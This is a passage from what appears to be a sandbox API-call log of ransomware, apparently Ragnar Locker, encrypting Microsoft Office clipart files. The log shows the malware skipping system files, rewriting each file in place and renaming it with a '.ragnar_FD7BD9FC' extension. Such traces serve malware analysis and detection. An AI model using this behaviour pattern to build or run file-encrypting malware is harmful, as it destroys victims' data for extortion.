(lpString1=".MID", lpString2=".msi") returned -1 [0092.399] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0092.399] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0092.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid")) returned 0x20 [0092.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.400] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14044) returned 1 [0092.400] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x36d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.400] GetProcessHeap () returned 0x580000 [0092.400] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.400] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.402] VirtualAlloc (lpAddress=0x0, dwSize=0x36dc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.402] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.402] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.402] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x36dc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x36dc, lpOverlapped=0x0) returned 1 [0092.403] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.403] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x36dc, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.403] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x36dc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x36dc, lpOverlapped=0x0) returned 1 [0092.403] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x36dc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.403] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.403] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x36dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.403] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.403] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.404] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.404] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.404] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.404] GetProcessHeap () returned 0x580000 [0092.404] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.404] CloseHandle (hObject=0xf4) returned 1 [0092.404] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" [0092.404] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.ragnar_FD7BD9FC" [0092.404] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.405] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2135, dwReserved0=0x0, dwReserved1=0x0, cFileName="SWEST_01.MID", cAlternateFileName="")) returned 1 [0092.405] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.405] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SWEST_01.MID" | out: lpString1="SWEST_01.MID") returned="SWEST_01.MID" [0092.405] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned=".MID" [0092.405] lstrcmpiW (lpString1="SWEST_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.405] lstrcmpiW (lpString1="SWEST_01.MID", lpString2="autorun.inf") returned 1 [0092.405] lstrcmpiW (lpString1="SWEST_01.MID", lpString2="boot.ini") returned 1 [0092.405] lstrcmpiW (lpString1="SWEST_01.MID", lpString2="bootfont.bin") returned 1 [0092.405] lstrcmpiW (lpString1="SWEST_01.MID", lpString2="bootsect.bak") returned 1 [0092.405] lstrcmpiW (lpString1="SWEST_01.MID", lpString2="bootmgr") returned 1 [0092.405] lstrcmpiW (lpString1="SWEST_01.MID", lpString2="bootmgr.efi") returned 1 [0092.405] lstrcmpiW (lpString1="SWEST_01.MID", lpString2="bootmgfw.efi") returned 1 [0092.405] lstrcmpiW (lpString1="SWEST_01.MID", lpString2="desktop.ini") returned 1 [0092.405] lstrcmpiW (lpString1="SWEST_01.MID", lpString2="iconcache.db") returned 1 [0092.405] lstrcmpiW (lpString1="SWEST_01.MID", lpString2="ntldr") returned 1 [0092.405] lstrcmpiW (lpString1="SWEST_01.MID", lpString2="ntuser.dat") returned 1 [0092.405] lstrcmpiW (lpString1="SWEST_01.MID", lpString2="ntuser.dat.log") returned 1 [0092.405] lstrcmpiW (lpString1="SWEST_01.MID", lpString2="ntuser.ini") returned 1 [0092.405] lstrcmpiW (lpString1="SWEST_01.MID", lpString2="thumbs.db") returned -1 [0092.405] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0092.405] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0092.405] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0092.405] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0092.405] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0092.405] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0092.405] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0092.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid")) returned 0x20 [0092.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.406] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8501) returned 1 [0092.406] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x212c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.406] GetProcessHeap () returned 0x580000 [0092.406] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.406] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.410] VirtualAlloc (lpAddress=0x0, dwSize=0x2135, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.410] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.410] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.410] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2135, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2135, lpOverlapped=0x0) returned 1 [0092.412] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.412] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2135, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.412] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2135, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2135, lpOverlapped=0x0) returned 1 [0092.412] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2135, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.412] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.413] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2135, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.413] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.413] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.413] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.413] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.413] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.413] GetProcessHeap () returned 0x580000 [0092.413] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.413] CloseHandle (hObject=0xf4) returned 1 [0092.413] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" [0092.413] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.ragnar_FD7BD9FC" [0092.413] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.414] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7065e700, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7065e700, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00110_.WMF", cAlternateFileName="")) returned 1 [0092.414] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.414] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SY00110_.WMF" | out: lpString1="SY00110_.WMF") returned="SY00110_.WMF" [0092.414] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF") returned=".WMF" [0092.414] lstrcmpiW (lpString1="SY00110_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.414] lstrcmpiW (lpString1="SY00110_.WMF", lpString2="autorun.inf") returned 1 [0092.414] lstrcmpiW (lpString1="SY00110_.WMF", lpString2="boot.ini") returned 1 [0092.414] lstrcmpiW (lpString1="SY00110_.WMF", lpString2="bootfont.bin") returned 1 [0092.414] lstrcmpiW (lpString1="SY00110_.WMF", lpString2="bootsect.bak") returned 1 [0092.414] lstrcmpiW (lpString1="SY00110_.WMF", lpString2="bootmgr") returned 1 [0092.414] lstrcmpiW (lpString1="SY00110_.WMF", lpString2="bootmgr.efi") returned 1 [0092.414] lstrcmpiW (lpString1="SY00110_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.414] lstrcmpiW (lpString1="SY00110_.WMF", lpString2="desktop.ini") returned 1 [0092.414] lstrcmpiW (lpString1="SY00110_.WMF", lpString2="iconcache.db") returned 1 [0092.414] lstrcmpiW (lpString1="SY00110_.WMF", lpString2="ntldr") returned 1 [0092.414] lstrcmpiW (lpString1="SY00110_.WMF", lpString2="ntuser.dat") returned 1 [0092.414] lstrcmpiW (lpString1="SY00110_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.414] lstrcmpiW (lpString1="SY00110_.WMF", lpString2="ntuser.ini") returned 1 [0092.414] lstrcmpiW (lpString1="SY00110_.WMF", lpString2="thumbs.db") returned -1 [0092.414] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.414] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.414] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.414] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.414] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.415] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.415] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf")) returned 0x20 [0092.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.416] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1264) returned 1 [0092.416] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4e7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.416] GetProcessHeap () returned 0x580000 [0092.416] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.416] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.418] VirtualAlloc (lpAddress=0x0, dwSize=0x4f0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.418] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.418] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.418] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4f0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4f0, lpOverlapped=0x0) returned 1 [0092.418] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.418] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.418] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4f0, lpOverlapped=0x0) returned 1 [0092.418] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4f0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.418] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.418] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.418] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.418] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.419] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.419] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.419] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.419] GetProcessHeap () returned 0x580000 [0092.419] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.419] CloseHandle (hObject=0xf4) returned 1 [0092.419] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF" [0092.419] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF.ragnar_FD7BD9FC" [0092.419] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.420] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb76ecf00, ftCreationTime.dwHighDateTime=0x1bd4b19, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb76ecf00, ftLastWriteTime.dwHighDateTime=0x1bd4b19, nFileSizeHigh=0x0, nFileSizeLow=0x1844, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00127_.WMF", cAlternateFileName="")) returned 1 [0092.420] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.420] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SY00127_.WMF" | out: lpString1="SY00127_.WMF") returned="SY00127_.WMF" [0092.420] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF") returned=".WMF" [0092.420] lstrcmpiW (lpString1="SY00127_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.420] lstrcmpiW (lpString1="SY00127_.WMF", lpString2="autorun.inf") returned 1 [0092.420] lstrcmpiW (lpString1="SY00127_.WMF", lpString2="boot.ini") returned 1 [0092.420] lstrcmpiW (lpString1="SY00127_.WMF", lpString2="bootfont.bin") returned 1 [0092.420] lstrcmpiW (lpString1="SY00127_.WMF", lpString2="bootsect.bak") returned 1 [0092.420] lstrcmpiW (lpString1="SY00127_.WMF", lpString2="bootmgr") returned 1 [0092.420] lstrcmpiW (lpString1="SY00127_.WMF", lpString2="bootmgr.efi") returned 1 [0092.420] lstrcmpiW (lpString1="SY00127_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.420] lstrcmpiW (lpString1="SY00127_.WMF", lpString2="desktop.ini") returned 1 [0092.420] lstrcmpiW (lpString1="SY00127_.WMF", lpString2="iconcache.db") returned 1 [0092.420] lstrcmpiW (lpString1="SY00127_.WMF", lpString2="ntldr") returned 1 [0092.420] lstrcmpiW (lpString1="SY00127_.WMF", lpString2="ntuser.dat") returned 1 [0092.420] lstrcmpiW (lpString1="SY00127_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.420] lstrcmpiW (lpString1="SY00127_.WMF", lpString2="ntuser.ini") returned 1 [0092.420] lstrcmpiW (lpString1="SY00127_.WMF", lpString2="thumbs.db") returned -1 [0092.420] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.420] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.420] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.420] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.420] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.420] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.420] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.420] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf")) returned 0x20 [0092.421] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.421] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6212) 